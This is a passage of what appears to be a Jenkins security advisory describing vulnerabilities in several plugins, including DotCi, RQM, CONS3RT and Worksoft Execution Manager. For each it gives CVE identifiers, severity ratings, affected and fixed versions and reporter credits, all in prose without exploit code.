This results in a remote code execution (RCE) vulnerability exploitable by attackers able to modify .ci.yml files in SCM.

**Lack of authentication mechanism in DotCi Plugin webhook**

**SECURITY-2867 / CVE-2022-41238**  
**Severity (CVSS):** Medium  
**Affected plugin: DotCi**  
**Description:**

DotCi Plugin provides a webhook endpoint at /githook/ that can be used to trigger builds of the job for a GitHub repository.

In DotCi Plugin 2.40.00 and earlier, this endpoint can be accessed without authentication.

This allows unauthenticated attackers to trigger builds of jobs corresponding to the attacker-specified repository for attacker-specified commits.

**Stored XSS vulnerability in DotCi Plugin**

**SECURITY-2884 / CVE-2022-41239**  
**Severity (CVSS):** High  
**Affected plugin: DotCi**  
**Description:**

DotCi Plugin 2.40.00 and earlier does not escape the GitHub user name parameter provided to commit notifications when displaying them in a build cause.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers able to submit crafted commit notifications to the /githook/ endpoint (see also SECURITY-2867).

This vulnerability is only exploitable in Jenkins 2.314 and earlier, LTS 2.303.1 and earlier. See the LTS upgrade guide.

**Stored XSS vulnerability in Walti Plugin**

**SECURITY-1870 / CVE-2022-41240**  
**Severity (CVSS):** High  
**Affected plugin: walti**  
**Description:**

Walti Plugin 1.0.1 and earlier does not escape the information provided by the Walti API.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers able to provide malicious API responses from Walti.

**XXE vulnerability in RQM Plugin**

**SECURITY-2805 / CVE-2022-41241**  
**Severity (CVSS):** Medium  
**Affected plugin: rqm-plugin**  
**Description:**

RQM Plugin 2.8 and earlier does not configure its XML parser to prevent XML external entity (XXE) attacks.

This allows attackers able to provide crafted API responses from Rational Quality Manager to have Jenkins parse a crafted XML document that uses external entities for extraction of secrets from the Jenkins controller or server-side request forgery.

**Missing permission check in extreme-feedback Plugin**

**SECURITY-2001 / CVE-2022-41242**  
**Severity (CVSS):** Medium  
**Affected plugin: extreme-feedback**  
**Description:**

extreme-feedback Plugin 1.7 and earlier does not perform a permission check in an HTTP endpoint.

This allows attackers with Overall/Read permission to discover information about job names attached to lamps, discover MAC and IP addresses of existing lamps, and rename lamps.

**Missing hostname validation in SmallTest Plugin**

**SECURITY-2068 / CVE-2022-41243**  
**Severity (CVSS):** Medium  
**Affected plugin: smalltest**  
**Description:**

SmallTest Plugin 1.0.4 and earlier does not perform hostname validation when connecting to the configured SmallTest server.

This lack of validation could be abused using a man-in-the-middle attack to intercept these connections.

**Missing hostname validation in View26 Test-Reporting Plugin**

**SECURITY-2069 / CVE-2022-41244**  
**Severity (CVSS):** Medium  
**Affected plugin: view26**  
**Description:**

View26 Test-Reporting Plugin 1.0.7 and earlier does not perform hostname validation when connecting to the configured View26 server.

This lack of validation could be abused using a man-in-the-middle attack to intercept these connections.

**CSRF vulnerability and missing permission check in Worksoft Execution Manager Plugin allow capturing credentials**

**SECURITY-2237 / CVE-2022-41245 (CSRF), CVE-2022-41246 (missing permission check)**  
**Severity (CVSS):** Medium  
**Affected plugin: ws-execution-manager**  
**Description:**

Worksoft Execution Manager Plugin 10.0.3.503 and earlier does not perform a permission check in a method implementing form validation.

This allows attackers with Overall/Read permission to connect to an attacker-specified URL using attacker-specified credentials IDs obtained through another method, capturing credentials stored in Jenkins.

Additionally, this form validation method does not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.

**API key stored in plain text by BigPanda Notifier Plugin**

**SECURITY-2243 / CVE-2022-41247 (storage), CVE-2022-41248 (masking)**  
**Severity (CVSS):** Low  
**Affected plugin: bigpanda-jenkins**  
**Description:**

BigPanda Notifier Plugin 1.4.0 and earlier stores the BigPanda API key unencrypted in its global configuration file BigpandaGlobalNotifier.xml on the Jenkins controller as part of its configuration.

This API key can be viewed by users with access to the Jenkins controller file system.

Additionally, the global configuration form does not mask the API key, increasing the potential for attackers to observe and capture it.

**CSRF vulnerability and missing permission check in SCM HttpClient Plugin allow capturing credentials**

**SECURITY-2708 / CVE-2022-41249 (CSRF), CVE-2022-41250 (missing permission check)**  
**Severity (CVSS):** Medium  
**Affected plugin: scm-httpclient**  
**Description:**

SCM HttpClient Plugin 1.5 and earlier does not perform permission check in a method implementing form validation.

This allows attackers with Overall/Read permission to connect to an attacker-specified HTTP server using attacker-specified credentials IDs obtained through another method, capturing credentials stored in Jenkins.

Additionally, this form validation method does not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.

**Missing permission check in Apprenda Plugin allows enumerating credentials IDs**

**SECURITY-2710 / CVE-2022-41251**  
**Severity (CVSS):** Medium  
**Affected plugin: apprenda**  
**Description:**

Apprenda Plugin 2.2.0 and earlier does not perform a permission check in an HTTP endpoint.

This allows attackers with Overall/Read permission to enumerate credentials IDs of credentials stored in Jenkins. Those can be used as part of an attack to capture the credentials using another vulnerability.

**Missing permission checks in CONS3RT Plugin allow enumerating credentials IDs**

**SECURITY-2752 / CVE-2022-41252**  
**Severity (CVSS):** Medium  
**Affected plugin: cons3rt**  
**Description:**

CONS3RT Plugin 1.0.0 and earlier does not perform permission checks in several HTTP endpoints.

This allows attackers with Overall/Read permission to enumerate credentials IDs of credentials stored in Jenkins. Those can be used as part of an attack to capture the credentials using another vulnerability.

**CSRF vulnerability and missing permission checks in CONS3RT Plugin allow capturing credentials**

**SECURITY-2751 / CVE-2022-41253 (CSRF), CVE-2022-41254 (missing permission check)**  
**Severity (CVSS):** Medium  
**Affected plugin: cons3rt**  
**Description:**

CONS3RT Plugin 1.0.0 and earlier does not perform permission checks in methods implementing form validation.

This allows attackers with Overall/Read permission to connect to an attacker-specified HTTP server using attacker-specified credentials IDs obtained through another method, capturing credentials stored in Jenkins.

Additionally, these form validation methods do not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.

**API token stored in plain text by CONS3RT Plugin**

**SECURITY-2759 / CVE-2022-41255**  
**Severity (CVSS):** Low  
**Affected plugin: cons3rt**  
**Description:**

CONS3RT Plugin 1.0.0 and earlier stores Cons3rt API token unencrypted in job config.xml files on the Jenkins controller as part of its configuration.

This API token can be viewed by users with access to the Jenkins controller file system.

**Severity**

*   SECURITY-1737: High
*   SECURITY-1870: High
*   SECURITY-1994: Medium
*   SECURITY-2001: Medium
*   SECURITY-2051: Medium
*   SECURITY-2068: Medium
*   SECURITY-2069: Medium
*   SECURITY-2139: High
*   SECURITY-2169: Medium
*   SECURITY-2170: Medium
*   SECURITY-2237: Medium
*   SECURITY-2243: Low
*   SECURITY-2645: Medium
*   SECURITY-2708: Medium
*   SECURITY-2710: Medium
*   SECURITY-2737: Medium
*   SECURITY-2751: Medium
*   SECURITY-2752: Medium
*   SECURITY-2759: Low
*   SECURITY-2805: Medium
*   SECURITY-2821: High
*   SECURITY-2832: High
*   SECURITY-2858: High
*   SECURITY-2867: Medium
*   SECURITY-2884: High
*   SECURITY-2886: High

**Affected Versions**

*   Jenkins weekly up to and including 2.369
*   **Anchore Container Image Scanner Plugin** up to and including 1.0.24
*   **Apprenda Plugin** up to and including 2.2.0
*   **BigPanda Notifier Plugin** up to and including 1.4.0
*   **build-publisher Plugin** up to and including 1.22
*   **Compuware Common Configuration Plugin** up to and including 1.0.14
*   **CONS3RT Plugin** up to and including 1.0.0
*   **DotCi Plugin** up to and including 2.40.00
*   **extreme-feedback Plugin** up to and including 1.7
*   **NS-ND Integration Performance Publisher Plugin** up to and including 4.8.0.129
*   **NS-ND Integration Performance Publisher Plugin** up to and including 4.8.0.134
*   **RQM Plugin** up to and including 2.8
*   **Rundeck Plugin** up to and including 3.6.11
*   **SCM HttpClient Plugin** up to and including 1.5
*   **Security Inspector Plugin** up to and including 117.v6eecc36919c2
*   **SmallTest Plugin** up to and including 1.0.4
*   **View26 Test-Reporting Plugin** up to and including 1.0.7
*   **Walti Plugin** up to and including 1.0.1
*   **WildFly Deployer Plugin** up to and including 1.0.2
*   **Worksoft Execution Manager Plugin** up to and including 10.0.3.503

**Fix**

*   Jenkins weekly should be updated to version 2.370
*   **Anchore Container Image Scanner Plugin** should be updated to version 1.0.25
*   **Compuware Common Configuration Plugin** should be updated to version 1.0.15
*   **NS-ND Integration Performance Publisher Plugin** should be updated to version 4.8.0.130

These versions include fixes to the vulnerabilities described above. All prior versions are considered to be affected by these vulnerabilities unless otherwise indicated.

As of publication of this advisory, no fixes are available for the following plugins:

*   Apprenda Plugin
*   BigPanda Notifier Plugin
*   build-publisher Plugin
*   CONS3RT Plugin
*   DotCi Plugin
*   extreme-feedback Plugin
*   NS-ND Integration Performance Publisher Plugin
*   RQM Plugin
*   Rundeck Plugin
*   SCM HttpClient Plugin
*   Security Inspector Plugin
*   SmallTest Plugin
*   View26 Test-Reporting Plugin
*   Walti Plugin
*   WildFly Deployer Plugin
*   Worksoft Execution Manager Plugin

Learn why we announce these issues.

**Credit**

The Jenkins project would like to thank the reporters for discovering and reporting these vulnerabilities:

*   **Daniel Beck, CloudBees, Inc.** for SECURITY-2169, SECURITY-2170, SECURITY-2645, SECURITY-2821, SECURITY-2884
*   **Jeff Thompson, CloudBees, Inc.** for SECURITY-2051
*   **Jesse Glick, CloudBees, Inc.** for SECURITY-2886
*   **Kevin Guerroudj, CloudBees, Inc.** for SECURITY-2237, SECURITY-2737, SECURITY-2805, SECURITY-2858, SECURITY-2867
*   **Long Nguyen, Viettel Cyber Security** for SECURITY-2068, SECURITY-2069
*   **Marc Heyries** for SECURITY-2243
*   **Matt Sicker, CloudBees, Inc.** for SECURITY-1994, SECURITY-2001
*   **Valdes Che Zogou, CloudBees, Inc.** for SECURITY-2708, SECURITY-2710, SECURITY-2751, SECURITY-2752, SECURITY-2832
*   **Valdes Che Zogou, CloudBees, Inc. and Kevin Guerroudj, CloudBees, Inc.** for SECURITY-2759
*   **Wadeck Follonier, CloudBees, Inc.** for SECURITY-1870, SECURITY-2139

Tag

#xss